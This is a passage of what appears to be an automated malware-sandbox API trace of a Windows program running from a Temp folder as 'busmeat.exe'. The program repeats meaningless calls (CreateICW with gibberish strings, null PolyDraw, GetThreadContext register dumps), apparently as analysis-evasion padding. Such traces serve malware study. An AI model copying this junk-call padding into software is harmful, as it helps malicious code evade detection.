[329]=0x0, [330]=0x0, [331]=0x0, [332]=0x1, [333]=0x0, [334]=0x0, [335]=0x0, [336]=0x10, [337]=0x65, [338]=0xd1, [339]=0x0, [340]=0x8, [341]=0x65, [342]=0xd1, [343]=0x0, [344]=0x10, [345]=0x65, [346]=0xd1, [347]=0x0, [348]=0x2, [349]=0x0, [350]=0x0, [351]=0x0, [352]=0x8, [353]=0x65, [354]=0xd1, [355]=0x0, [356]=0xfe, [357]=0xff, [358]=0xff, [359]=0xff, [360]=0x20, [361]=0x0, [362]=0x0, [363]=0x0, [364]=0x0, [365]=0x64, [366]=0xd0, [367]=0x0, [368]=0x22, [369]=0x0, [370]=0x0, [371]=0x0, [372]=0x0, [373]=0x0, [374]=0x0, [375]=0x0, [376]=0xb6, [377]=0x0, [378]=0x0, [379]=0x0, [380]=0xc0, [381]=0x0, [382]=0xd0, [383]=0x0, [384]=0x3, [385]=0x0, [386]=0x0, [387]=0x0, [388]=0x0, [389]=0x0, [390]=0x0, [391]=0x0, [392]=0x22, [393]=0x0, [394]=0x0, [395]=0x0, [396]=0x60, [397]=0x2, [398]=0xd0, [399]=0x0, [400]=0x38, [401]=0x86, [402]=0xd1, [403]=0x0, [404]=0x38, [405]=0x86, [406]=0xd1, [407]=0x0, [408]=0x70, [409]=0xff, [410]=0x19, [411]=0x0, [412]=0x40, [413]=0xd, [414]=0xcb, [415]=0x77, [416]=0xe9, [417]=0x65, [418]=0xc1, [419]=0xd7, [420]=0xfe, [421]=0xff, [422]=0xff, [423]=0xff, [424]=0xc, [425]=0x0, [426]=0x0, [427]=0x0, [428]=0x76, [429]=0x8d, [430]=0xca, [431]=0x77, [432]=0xa7, [433]=0xf1, [434]=0xc9, [435]=0x77, [436]=0xff, [437]=0xff, [438]=0xff, [439]=0xff, [440]=0x24, [441]=0x0, [442]=0x0, [443]=0x0, [444]=0xb0, [445]=0xfe, [446]=0x19, [447]=0x0, [448]=0x4, [449]=0x0, [450]=0x0, [451]=0x0, [452]=0x0, [453]=0x0, [454]=0x0, [455]=0x0, [456]=0x4, [457]=0x0, [458]=0x0, [459]=0x0, [460]=0x17, [461]=0xde, [462]=0x40, [463]=0x0, [464]=0x3, [465]=0x0, [466]=0x0, [467]=0x0, [468]=0xc8, [469]=0xfe, [470]=0x19, [471]=0x0, [472]=0xa4, [473]=0x7b, [474]=0x40, [475]=0x0, [476]=0xc, [477]=0xff, [478]=0x19, [479]=0x0, [480]=0xd4, [481]=0xfe, [482]=0x19, [483]=0x0, [484]=0x1e, [485]=0x6f, [486]=0x40, [487]=0x0, [488]=0x3, [489]=0x0, [490]=0x0, [491]=0x0, [492]=0xfc, [493]=0xfe, [494]=0x19, [495]=0x0, [496]=0x4d, [497]=0x46, [498]=0x40, [499]=0x0, [500]=0x0, [501]=0x0, [502]=0x0, [503]=0x0, [504]=0x0, [505]=0x0, [506]=0x0, [507]=0x0, [508]=0xc, [509]=0xff, [510]=0x19, [511]=0x0))) returned 0
	[0066.160] CreateICW (pszDriver="Ciyexawekoza rixecufazukofa tepaxudocagi giyo vekesodo", pszDevice="Bokejuni kudihubeko", pszPort="Piyiwa yayehacube negi jugudanepiko tigodimuwusocu", pdm=0x0) returned 0x0
	[0066.161] PolyDraw (hdc=0x0, apt=0x0, aj=0x0, cpt=0) returned 0
	[0066.161] LocalFileTimeToFileTime (in: lpLocalFileTime=0x19ff20, lpFileTime=0x19ff28 | out: lpFileTime=0x19ff28) returned 1
	[0066.161] GetConsoleCP () returned 0x0
	[0066.161] GetThreadContext (in: hThread=0x0, lpContext=0x19fc1c | out: lpContext=0x19fc1c*(ContextFlags=0x1, Dr0=0xd18638, Dr1=0xd18630, Dr2=0xd18638, Dr3=0xd, Dr6=0x438, Dr7=0xfffffffe, FloatSave.ControlWord=0xd00000, FloatSave.StatusWord=0xd06b58, FloatSave.TagWord=0xad, FloatSave.ErrorOffset=0x0, FloatSave.ErrorSelector=0x1, FloatSave.DataOffset=0xd000c0, FloatSave.DataSelector=0x27000027, FloatSave.RegisterArea=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2d, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x78, [9]=0x81, [10]=0xd0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0xd0, [15]=0x0, [16]=0x1c, [17]=0x8e, [18]=0xca, [19]=0x77, [20]=0x70, [21]=0xff, [22]=0x19, [23]=0x0, [24]=0x40, [25]=0xd, [26]=0xcb, [27]=0x77, [28]=0xe9, [29]=0x65, [30]=0xc1, [31]=0xd7, [32]=0xfe, [33]=0xff, [34]=0xff, [35]=0xff, [36]=0xbc, [37]=0xfc, [38]=0x19, [39]=0x0, [40]=0x26, [41]=0xdc, [42]=0xc7, [43]=0x77, [44]=0x40, [45]=0x4, [46]=0x0, [47]=0x0, [48]=0x48, [49]=0x4, [50]=0x0, [51]=0x0, [52]=0xb0, [53]=0x82, [54]=0xd0, [55]=0x0, [56]=0xa8, [57]=0xfc, [58]=0x19, [59]=0x0, [60]=0x30, [61]=0x30, [62]=0x40, [63]=0x0, [64]=0x79, [65]=0x63, [66]=0x40, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x48, [77]=0x4, [78]=0x0, [79]=0x0), FloatSave.Cr0NpxState=0x0, SegGs=0x0, SegFs=0x0, SegEs=0xd08178, SegDs=0x77ca8d76, Edi=0x77c9a217, Esi=0xffffffff, Ebx=0x24, Edx=0x19fcd0, Ecx=0x4, Eax=0x20, Ebp=0x68a8a80e, Eip=0x19ff10, SegCs=0x76a241a8, EFlags=0xa039a2a2, Esp=0x403030, SegSs=0x40e1a0, ExtendedRegisters=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0xa3, [5]=0xa3, [6]=0xdd, [7]=0x2d, [8]=0x0, [9]=0x0, [10]=0x40, [11]=0x0, [12]=0x0, [13]=0x90, [14]=0x74, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x1, [20]=0x8a, [21]=0x0, [22]=0x8c, [23]=0x0, [24]=0x4, [25]=0xfd, [26]=0x19, [27]=0x0, [28]=0x5c, [29]=0x0, [30]=0x44, [31]=0x0, [32]=0x65, [33]=0x0, [34]=0x76, [35]=0x0, [36]=0x69, [37]=0x0, [38]=0x63, [39]=0x0, [40]=0x65, [41]=0x0, [42]=0x5c, [43]=0x0, [44]=0x48, [45]=0x0, [46]=0x61, [47]=0x0, [48]=0x72, [49]=0x0, [50]=0x64, [51]=0x0, [52]=0x64, [53]=0x0, [54]=0x69, [55]=0x0, [56]=0x73, [57]=0x0, [58]=0x6b, [59]=0x0, [60]=0x56, [61]=0x0, [62]=0x6f, [63]=0x0, [64]=0x6c, [65]=0x0, [66]=0x75, [67]=0x0, [68]=0x6d, [69]=0x0, [70]=0x65, [71]=0x0, [72]=0x31, [73]=0x0, [74]=0x5c, [75]=0x0, [76]=0x55, [77]=0x0, [78]=0x73, [79]=0x0, [80]=0x65, [81]=0x0, [82]=0x72, [83]=0x0, [84]=0x73, [85]=0x0, [86]=0x5c, [87]=0x0, [88]=0x43, [89]=0x0, [90]=0x49, [91]=0x0, [92]=0x49, [93]=0x0, [94]=0x48, [95]=0x0, [96]=0x4d, [97]=0x0, [98]=0x4e, [99]=0x0, [100]=0x7e, [101]=0x0, [102]=0x31, [103]=0x0, [104]=0x5c, [105]=0x0, [106]=0x41, [107]=0x0, [108]=0x70, [109]=0x0, [110]=0x70, [111]=0x0, [112]=0x44, [113]=0x0, [114]=0x61, [115]=0x0, [116]=0x74, [117]=0x0, [118]=0x61, [119]=0x0, [120]=0x5c, [121]=0x0, [122]=0x4c, [123]=0x0, [124]=0x6f, [125]=0x0, [126]=0x63, [127]=0x0, [128]=0x61, [129]=0x0, [130]=0x6c, [131]=0x0, [132]=0x5c, [133]=0x0, [134]=0x54, [135]=0x0, [136]=0x65, [137]=0x0, [138]=0x6d, [139]=0x0, [140]=0x70, [141]=0x0, [142]=0x5c, [143]=0x0, [144]=0x62, [145]=0x0, [146]=0x75, [147]=0x0, [148]=0x73, [149]=0x0, [150]=0x6d, [151]=0x0, [152]=0x65, [153]=0x0, [154]=0x61, [155]=0x0, [156]=0x74, [157]=0x0, [158]=0x2e, [159]=0x0, [160]=0x65, [161]=0x0, [162]=0x78, [163]=0x0, [164]=0x65, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x2, [169]=0x0, [170]=0x0, [171]=0x2, [172]=0x10, [173]=0x65, [174]=0xd1, [175]=0x0, [176]=0xb6, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0xd0, [181]=0xfe, [182]=0xff, [183]=0xff, [184]=0xf0, [185]=0xf1, [186]=0xf2, [187]=0xf3, [188]=0x4, [189]=0x0, [190]=0x0, [191]=0x0, [192]=0x27, [193]=0x0, [194]=0x0, [195]=0x27, [196]=0xed, [197]=0xff, [198]=0xff, [199]=0xff, [200]=0x36, [201]=0x1, [202]=0x0, [203]=0x37, [204]=0xfe, [205]=0xff, [206]=0xff, [207]=0xff, [208]=0x5, [209]=0x0, [210]=0x0, [211]=0x5, [212]=0x26, [213]=0xdc, [214]=0xc7, [215]=0x77, [216]=0x7, [217]=0x0, [218]=0x0, [219]=0x7, [220]=0xb0, [221]=0x81, [222]=0xd0, [223]=0x0, [224]=0xff, [225]=0x7, [226]=0x0, [227]=0x0, [228]=0xe8, [229]=0xfd, [230]=0x19, [231]=0x0, [232]=0xc0, [233]=0x0, [234]=0xd0, [235]=0x0, [236]=0x88, [237]=0x2, [238]=0xd0, [239]=0x0, [240]=0x23, [241]=0x1, [242]=0x0, [243]=0x0, [244]=0x0, [245]=0x0, [246]=0xd0, [247]=0x0, [248]=0x22, [249]=0x0, [250]=0x0, [251]=0x0, [252]=0x0, [253]=0x0, [254]=0x0, [255]=0x0, [256]=0x0, [257]=0x0, [258]=0xd0, [259]=0x0, [260]=0x8, [261]=0x8, [262]=0x0, [263]=0x0, [264]=0x0, [265]=0x0, [266]=0x0, [267]=0x0, [268]=0x6, [269]=0x0, [270]=0x0, [271]=0x0, [272]=0x2, [273]=0x0, [274]=0x0, [275]=0x2, [276]=0x27, [277]=0x0, [278]=0x0, [279]=0x0, [280]=0x0, [281]=0x0, [282]=0xd0, [283]=0x0, [284]=0x36, [285]=0xff, [286]=0xff, [287]=0xff, [288]=0xa3, [289]=0x0, [290]=0x0, [291]=0x0, [292]=0x1, [293]=0x0, [294]=0x0, [295]=0x0, [296]=0x47, [297]=0x1, [298]=0x0, [299]=0x0, [300]=0x1, [301]=0x1, [302]=0x0, [303]=0x0, [304]=0x23, [305]=0x1, [306]=0x0, [307]=0x0, [308]=0x86, [309]=0x0, [310]=0x0, [311]=0x1, [312]=0x0, [313]=0x0, [314]=0x0, [315]=0x0, [316]=0x38, [317]=0x86, [318]=0xd1, [319]=0x0, [320]=0x0, [321]=0x0, [322]=0x0, [323]=0x0, [324]=0x8, [325]=0x65, [326]=0xd1, [327]=0x0, [328]=0xa, [329]=0x0, [330]=0x0, [331]=0x0, [332]=0x1, [333]=0x0, [334]=0x0, [335]=0x0, [336]=0x10, [337]=0x65, [338]=0xd1, [339]=0x0, [340]=0x8, [341]=0x65, [342]=0xd1, [343]=0x0, [344]=0x10, [345]=0x65, [346]=0xd1, [347]=0x0, [348]=0x2, [349]=0x0, [350]=0x0, [351]=0x0, [352]=0x8, [353]=0x65, [354]=0xd1, [355]=0x0, [356]=0xfe, [357]=0xff, [358]=0xff, [359]=0xff, [360]=0x20, [361]=0x0, [362]=0x0, [363]=0x0, [364]=0x0, [365]=0x64, [366]=0xd0, [367]=0x0, [368]=0x22, [369]=0x0, [370]=0x0, [371]=0x0, [372]=0x0, [373]=0x0, [374]=0x0, [375]=0x0, [376]=0xb6, [377]=0x0, [378]=0x0, [379]=0x0, [380]=0xc0, [381]=0x0, [382]=0xd0, [383]=0x0, [384]=0x3, [385]=0x0, [386]=0x0, [387]=0x0, [388]=0x0, [389]=0x0, [390]=0x0, [391]=0x0, [392]=0x22, [393]=0x0, [394]=0x0, [395]=0x0, [396]=0x60, [397]=0x2, [398]=0xd0, [399]=0x0, [400]=0x38, [401]=0x86, [402]=0xd1, [403]=0x0, [404]=0x38, [405]=0x86, [406]=0xd1, [407]=0x0, [408]=0x70, [409]=0xff, [410]=0x19, [411]=0x0, [412]=0x40, [413]=0xd, [414]=0xcb, [415]=0x77, [416]=0xe9, [417]=0x65, [418]=0xc1, [419]=0xd7, [420]=0xfe, [421]=0xff, [422]=0xff, [423]=0xff, [424]=0xc, [425]=0x0, [426]=0x0, [427]=0x0, [428]=0x76, [429]=0x8d, [430]=0xca, [431]=0x77, [432]=0xa7, [433]=0xf1, [434]=0xc9, [435]=0x77, [436]=0xff, [437]=0xff, [438]=0xff, [439]=0xff, [440]=0x24, [441]=0x0, [442]=0x0, [443]=0x0, [444]=0xb0, [445]=0xfe, [446]=0x19, [447]=0x0, [448]=0x4, [449]=0x0, [450]=0x0, [451]=0x0, [452]=0x0, [453]=0x0, [454]=0x0, [455]=0x0, [456]=0x4, [457]=0x0, [458]=0x0, [459]=0x0, [460]=0x17, [461]=0xde, [462]=0x40, [463]=0x0, [464]=0x3, [465]=0x0, [466]=0x0, [467]=0x0, [468]=0xc8, [469]=0xfe, [470]=0x19, [471]=0x0, [472]=0xa4, [473]=0x7b, [474]=0x40, [475]=0x0, [476]=0xc, [477]=0xff, [478]=0x19, [479]=0x0, [480]=0xd4, [481]=0xfe, [482]=0x19, [483]=0x0, [484]=0x1e, [485]=0x6f, [486]=0x40, [487]=0x0, [488]=0x3, [489]=0x0, [490]=0x0, [491]=0x0, [492]=0xfc, [493]=0xfe, [494]=0x19, [495]=0x0, [496]=0x4d, [497]=0x46, [498]=0x40, [499]=0x0, [500]=0x0, [501]=0x0, [502]=0x0, [503]=0x0, [504]=0x0, [505]=0x0, [506]=0x0, [507]=0x0, [508]=0xc, [509]=0xff, [510]=0x19, [511]=0x0))) returned 0
	[0066.161] CreateICW (pszDriver="Ciyexawekoza rixecufazukofa tepaxudocagi giyo vekesodo", pszDevice="Bokejuni kudihubeko", pszPort="Piyiwa yayehacube negi jugudanepiko tigodimuwusocu", pdm=0x0) returned 0x0
	[0066.162] PolyDraw (hdc=0x0, apt=0x0, aj=0x0, cpt=0) returned 0
	[0066.162] LocalFileTimeToFileTime (in: lpLocalFileTime=0x19ff20, lpFileTime=0x19ff28 | out: lpFileTime=0x19ff28) returned 1
	[0066.162] GetConsoleCP () returned 0x0
	[0066.162] GetThreadContext (in: hThread=0x0, lpContext=0x19fc1c | out: lpContext=0x19fc1c*(ContextFlags=0x1, Dr0=0xd18638, Dr1=0xd18630, Dr2=0xd18638, Dr3=0xd, Dr6=0x438, Dr7=0xfffffffe, FloatSave.ControlWord=0xd00000, FloatSave.StatusWord=0xd06b58, FloatSave.TagWord=0xad, FloatSave.ErrorOffset=0x0, FloatSave.ErrorSelector=0x1, FloatSave.DataOffset=0xd000c0, FloatSave.DataSelector=0x27000027, FloatSave.RegisterArea=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2d, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x78, [9]=0x81, [10]=0xd0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0xd0, [15]=0x0, [16]=0x1c, [17]=0x8e, [18]=0xca, [19]=0x77, [20]=0x70, [21]=0xff, [22]=0x19, [23]=0x0, [24]=0x40, [25]=0xd, [26]=0xcb, [27]=0x77, [28]=0xe9, [29]=0x65, [30]=0xc1, [31]=0xd7, [32]=0xfe, [33]=0xff, [34]=0xff, [35]=0xff, [36]=0xbc, [37]=0xfc, [38]=0x19, [39]=0x0, [40]=0x26, [41]=0xdc, [42]=0xc7, [43]=0x77, [44]=0x40, [45]=0x4, [46]=0x0, [47]=0x0, [48]=0x48, [49]=0x4, [50]=0x0, [51]=0x0, [52]=0xb0, [53]=0x82, [54]=0xd0, [55]=0x0, [56]=0xa8, [57]=0xfc, [58]=0x19, [59]=0x0, [60]=0x30, [61]=0x30, [62]=0x40, [63]=0x0, [64]=0x79, [65]=0x63, [66]=0x40, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x48, [77]=0x4, [78]=0x0, [79]=0x0), FloatSave.Cr0NpxState=0x0, SegGs=0x0, SegFs=0x0, SegEs=0xd08178, SegDs=0x77ca8d76, Edi=0x77c9a217, Esi=0xffffffff, Ebx=0x24, Edx=0x19fcd0, Ecx=0x4, Eax=0x20, Ebp=0x68a8a80e, Eip=0x19ff10, SegCs=0x76a241a8, EFlags=0xa039a2a2, Esp=0x403030, SegSs=0x40e1a0, ExtendedRegisters=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0xa3, [5]=0xa3, [6]=0xdd, [7]=0x2d, [8]=0x0, [9]=0x0, [10]=0x40, [11]=0x0, [12]=0x0, [13]=0x90, [14]=0x74, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x1, [20]=0x8a, [21]=0x0, [22]=0x8c, [23]=0x0, [24]=0x4, [25]=0xfd, [26]=0x19, [27]=0x0, [28]=0x5c, [29]=0x0, [30]=0x44, [31]=0x0, [32]=0x65, [33]=0x0, [34]=0x76, [35]=0x0, [36]=0x69, [37]=0x0, [38]=0x63, [39]=0x0, [40]=0x65, [41]=0x0, [42]=0x5c, [43]=0x0, [44]=0x48, [45]=0x0, [46]=0x61, [47]=0x0, [48]=0x72, [49]=0x0, [50]=0x64, [51]=0x0, [52]=0x64, [53]=0x0, [54]=0x69, [55]=0x0, [56]=0x73, [57]=0x0, [58]=0x6b, [59]=0x0, [60]=0x56, [61]=0x0, [62]=0x6f, [63]=0x0, [64]=0x6c, [65]=0x0, [66]=0x75, [67]=0x0, [68]=0x6d, [69]=0x0, [70]=0x65, [71]=0x0, [72]=0x31, [73]=0x0, [74]=0x5c, [75]=0x0, [76]=0x55, [77]=0x0, [78]=0x73, [79]=0x0, [80]=0x65, [81]=0x0, [82]=0x72, [83]=0x0, [84]=0x73, [85]=0x0, [86]=0x5c, [87]=0x0, [88]=0x43, [89]=0x0, [90]=0x49, [91]=0x0, [92]=0x49, [93]=0x0, [94]=0x48, [95]=0x0, [96]=0x4d, [97]=0x0, [98]=0x4e, [99]=0x0, [100]=0x7e, [101]=0x0, [102]=0x31, [103]=0x0, [104]=0x5c, [105]=0x0, [106]=0x41, [107]=0x0, [108]=0x70, [109]=0x0, [110]=0x70, [111]=0x0, [112]=0x44, [113]=0x0, [114]=0x61, [115]=0x0, [116]=0x74, [117]=0x0, [118]=0x61, [119]=0x0, [120]=0x5c, [121]=0x0, [122]=0x4c, [123]=0x0, [124]=0x6f, [125]=0x0, [126]=0x63, [127]=0x0, [128]=0x61, [129]=0x0, [130]=0x6c, [131]=0x0, [132]=0x5c, [133]=0x0, [134]=0x54, [135]=0x0, [136]=0x65, [137]=0x0, [138]=0x6d, [139]=0x0, [140]=0x70, [141]=0x0, [142]=0x5c, [143]=0x0, [144]=0x62, [145]=0x0, [146]=0x75, [147]=0x0, [148]=0x73, [149]=0x0, [150]=0x6d, [151]=0x0, [152]=0x65, [153]=0x0, [154]=0x61, [155]=0x0, [156]=0x74, [157]=0x0, [158]=0x2e, [159]=0x0, [160]=0x65, [161]=0x0, [162]=0x78, [163]=0x0, [164]=0x65, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x2, [169]=0x0, [170]=0x0, [171]=0x2, [172]=0x10, [173]=0x65, [174]=0xd1, [175]=0x0, [176]=0xb6, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0xd0, [181]=0xfe, [182]=0xff, [183]=0xff, [184]=0xf0, [185]=0xf1, [186]=0xf2, [187]=0xf3, [188]=0x4, [189]=0x0, [190]=0x0, [191]=0x0, [192]=0x27, [193]=0x0, [194]=0x0, [195]=0x27, [196]=0xed, [197]=0xff, [198]=0xff, [199]=0xff, [200]=0x36, [201]=0x1, [202]=0x0, [203]=0x37, [204]=0xfe, [205]=0xff, [206]=0xff, [207]=0xff, [208]=0x5, [209]=0x0, [210]=0x0, [211]=0x5, [212]=0x26, [213]=0xdc, [214]=0xc7, [215]=0x77, [216]=0x7, [217]=0x0, [218]=0x0, [219]=0x7, [220]=0xb0, [221]=0x81, [222]=0xd0, [223]=0x0, [224]=0xff, [225]=0x7, [226]=0x0, [227]=0x0, [228]=0xe8, [229]=0xfd, [230]=0x19, [231]=0x0, [232]=0xc0, [233]=0x0, [234]=0xd0, [235]=0x0, [236]=0x88, [237]=0x2, [238]=0xd0, [239]=0x0, [240]=0x23, [241]=0x1, [242]=0x0, [243]=0x0, [244]=0x0, [245]=0x0, [246]=0xd0, [247]=0x0, [248]=0x22, [249]=0x0, [250]=0x0, [251]=0x0, [252]=0x0, [253]=0x0, [254]=0x0, [255]=0x0, [256]=0x0, [257]=0x0, [258]=0xd0, [259]=0x0, [260]=0x8, [261]=0x8, [262]=0x0, [263]=0x0, [264]=0x0, [265]=0x0, [266]=0x0, [267]=0x0, [268]=0x6, [269]=0x0, [270]=0x0, [271]=0x0, [272]=0x2, [273]=0x0, [274]=0x0, [275]=0x2, [276]=0x27, [277]=0x0, [278]=0x0, [279]=0x0, [280]=0x0, [281]=0x0, [282]=0xd0, [283]=0x0, [284]=0x36, [285]=0xff, [286]=0xff, [287]=0xff, [288]=0xa3, [289]=0x0, [290]=0x0, [291]=0x0, [292]=0x1, [293]=0x0, [294]=0x0, [295]=0x0, [296]=0x47, [297]=0x1, [298]=0x0, [299]=0x0, [300]=0x1, [301]=0x1, [302]=0x0, [303]=0x0, [304]=0x23, [305]=0x1, [306]=0x0, [307]=0x0, [308]=0x86, [309]=0x0, [310]=0x0, [311]=0x1, [312]=0x0, [313]=0x0, [314]=0x0, [315]=0x0, [316]=0x38, [317]=0x86, [318]=0xd1, [319]=0x0, [320]=0x0, [321]=0x0, [322]=0x0, [323]=0x0, [324]=0x8, [325]=0x65, [326]=0xd1, [327]=0x0, [328]=0xa, [329]=0x0, [330]=0x0, [331]=0x0, [332]=0x1, [333]=0x0, [334]=0x0, [335]=0x0, [336]=0x10, [337]=0x65, [338]=0xd1, [339]=0x0, [340]=0x8, [341]=0x65, [342]=0xd1, [343]=0x0, [344]=0x10, [345]=0x65, [346]=0xd1, [347]=0x0, [348]=0x2, [349]=0x0, [350]=0x0, [351]=0x0, [352]=0x8, [353]=0x65, [354]=0xd1, [355]=0x0, [356]=0xfe, [357]=0xff, [358]=0xff, [359]=0xff, [360]=0x20, [361]=0x0, [362]=0x0, [363]=0x0, [364]=0x0, [365]=0x64, [366]=0xd0, [367]=0x0, [368]=0x22, [369]=0x0, [370]=0x0, [371]=0x0, [372]=0x0, [373]=0x0, [374]=0x0, [375]=0x0, [376]=0xb6, [377]=0x0, [378]=0x0, [379]=0x0, [380]=0xc0, [381]=0x0, [382]=0xd0, [383]=0x0, [384]=0x3, [385]=0x0, [386]=0x0, [387]=0x0, [388]=0x0, [389]=0x0, [390]=0x0, [391]=0x0, [392]=0x22, [393]=0x0, [394]=0x0, [395]=0x0, [396]=0x60, [397]=0x2, [398]=0xd0, [399]=0x0, [400]=0x38, [401]=0x86, [402]=0xd1, [403]=0x0, [404]=0x38, [405]=0x86, [406]=0xd1, [407]=0x0, [408]=0x70, [409]=0xff, [410]=0x19, [411]=0x0, [412]=0x40, [413]=0xd, [414]=0xcb, [415]=0x77, [416]=0xe9, [417]=0x65, [418]=0xc1, [419]=0xd7, [420]=0xfe, [421]=0xff, [422]=0xff, [423]=0xff, [424]=0xc, [425]=0x0, [426]=0x0, [427]=0x0, [428]=0x76, [429]=0x8d, [430]=0xca, [431]=0x77, [432]=0xa7, [433]=0xf1, [434]=0xc9, [435]=0x77, [436]=0xff, [437]=0xff, [438]=0xff, [439]=0xff, [440]=0x24, [441]=0x0, [442]=0x0, [443]=0x0, [444]=0xb0, [445]=0xfe, [446]=0x19, [447]=0x0, [448]=0x4, [449]=0x0, [450]=0x0, [451]=0x0, [452]=0x0, [453]=0x0, [454]=0x0, [455]=0x0, [456]=0x4, [457]=0x0, [458]=0x0, [459]=0x0, [460]=0x17, [461]=0xde, [462]=0x40, [463]=0x0, [464]=0x3, [465]=0x0, [466]=0x0, [467]=0x0, [468]=0xc8, [469]=0xfe, [470]=0x19, [471]=0x0, [472]=0xa4, [473]=0x7b, [474]=0x40, [475]=0x0, [476]=0xc, [477]=0xff, [478]=0x19, [479]=0x0, [480]=0xd4, [481]=0xfe, [482]=0x19, [483]=0x0, [484]=0x1e, [485]=0x6f, [486]=0x40, [487]=0x0, [488]=0x3, [489]=0x0, [490]=0x0, [491]=0x0, [492]=0xfc, [493]=0xfe, [494]=0x19, [495]=0x0, [496]=0x4d, [497]=0x46, [498]=0x40, [499]=0x0, [500]=0x0, [501]=0x0, [502]=0x0, [503]=0x0, [504]=0x0, [505]=0x0, [506]=0x0, [507]=0x0, [508]=0xc, [509]=0xff, [510]=0x19, [511]=0x0))) returned 0
	[0066.162] CreateICW (pszDriver="Ciyexawekoza rixecufazukofa tepaxudocagi giyo vekesodo", pszDevice="Bokejuni kudihubeko", pszPort="Piyiwa yayehacube negi jugudanepiko tigodimuwusocu", pdm=0x0) returned 0x0
	[0066.162] PolyDraw (hdc=0x0, apt=0x0, aj=0x0, cpt=0) returned 0
	[0066.162] LocalFileTimeToFileTime (in: lpLocalFileTime=0x19ff20, lpFileTime=0x19ff28 | out: lpFileTime=0x19ff28) returned 1
	[0066.162] GetConsoleCP () returned 0x0
	[0066.162] GetThreadContext (in: hThread=0x0, lpContext=0x19fc1c | out: lpContext=0x19fc1c*(ContextFlags=0x1, Dr0=0xd18638, Dr1=0xd18630, Dr2=0xd18638, Dr3=0xd, Dr6=0x438, Dr7=0xfffffffe, FloatSave.ControlWord=0xd00000, FloatSave.StatusWord=0xd06b58, FloatSave.TagWord=0xad, FloatSave.ErrorOffset=0x0, FloatSave.ErrorSelector=0x1, FloatSave.DataOffset=0xd000c0, FloatSave.DataSelector=0x27000027, FloatSave.RegisterArea=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2d, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x78, [9]=0x81, [10]=0xd0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0xd0, [15]=0x0, [16]=0x1c, [17]=0x8e, [18]=0xca, [19]=0x77, [20]=0x70, [21]=0xff, [22]=0x19, [23]=0x0, [24]=0x40, [25]=0xd, [26]=0xcb, [27]=0x77, [28]=0xe9, [29]=0x65, [30]=0xc1, [31]=0xd7, [32]=0xfe, [33]=0xff, [34]=0xff, [35]=0xff, [36]=0xbc, [37]=0xfc, [38]=0x19, [39]=0x0, [40]=0x26, [41]=0xdc, [42]=0xc7, [43]=0x77, [44]=0x40, [45]=0x4, [46]=0x0, [47]=0x0, [48]=0x48, [49]=0x4, [50]=0x0, [51]=0x0, [52]=0xb0, [53]=0x82, [54]=0xd0, [55]=0x0, [56]=0xa8, [57]=0xfc, [58]=0x19, [59]=0x0, [60]=0x30, [61]=0x30, [62]=0x40, [63]=0x0, [64]=0x79, [65]=0x63, [66]=0x40, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x48, [77]=0x4, [78]=0x0, [79]=0x0), FloatSave.Cr0NpxState=0x0, SegGs=0x0, SegFs=0x0, SegEs=0xd08178, SegDs=0x77ca8d76, Edi=0x77c9a217, Esi=0xffffffff, Ebx=0x24, Edx=0x19fcd0, Ecx=0x4, Eax=0x20, Ebp=0x68a8a80e, Eip=0x19ff10, SegCs=0x76a241a8, EFlags=0xa039a2a2, Esp=0x403030, SegSs=0x40e1a0, ExtendedRegisters=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0xa3, [5]=0xa3, [6]=0xdd, [7]=0x2d, [8]=0x0, [9]=0x0, [10]=0x40, [11]=0x0, [12]=0x0, [13]=0x90, [14]=0x74, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x1, [20]=0x8a, [21]=0x0, [22]=0x8c, [23]=0x0, [24]=0x4, [25]=0xfd, [26]=0x19, [27]=0x0, [28]=0x5c, [29]=0x0, [30]=0x44, [31]=0x0, [32]=0x65, [33]=0x0, [34]=0x76, [35]=0x0, [36]=0x69, [37]=0x0, [38]=0x63, [39]=0x0, [40]=0x65, [41]=0x0, [42]=0x5c, [43]=0x0, [44]=0x48, [45]=0x0, [46]=0x61, [47]=0x0, [48]=0x72, [49]=0x0, [50]=0x64, [51]=0x0, [52]=0x64, [53]=0x0, [54]=0x69, [55]=0x0, [56]=0x73, [57]=0x0, [58]=0x6b, [59]=0x0, [60]=0x56, [61]=0x0, [62]=0x6f, [63]=0x0, [64]=0x6c, [65]=0x0, [66]=0x75, [67]=0x0, [68]=0x6d, [69]=0x0, [70]=0x65, [71]=0x0, [72]=0x31, [73]=0x0, [74]=0x5c, [75]=0x0, [76]=0x55, [77]=0x0, [78]=0x73, [79]=0x0, [80]=0x65, [81]=0x0, [82]=0x72, [83]=0x0, [84]=0x73, [85]=0x0, [86]=0x5c, [87]=0x0, [88]=0x43, [89]=0x0, [90]=0x49, [91]=0x0, [92]=0x49, [93]=0x0, [94]=0x48, [95]=0x0, [96]=0x4d, [97]=0x0, [98]=0x4e, [99]=0x0, [100]=0x7e, [101]=0x0, [102]=0x31, [103]=0x0, [104]=0x5c, [105]=0x0, [106]=0x41, [107]=0x0, [108]=0x70, [109]=0x0, [110]=0x70, [111]=0x0, 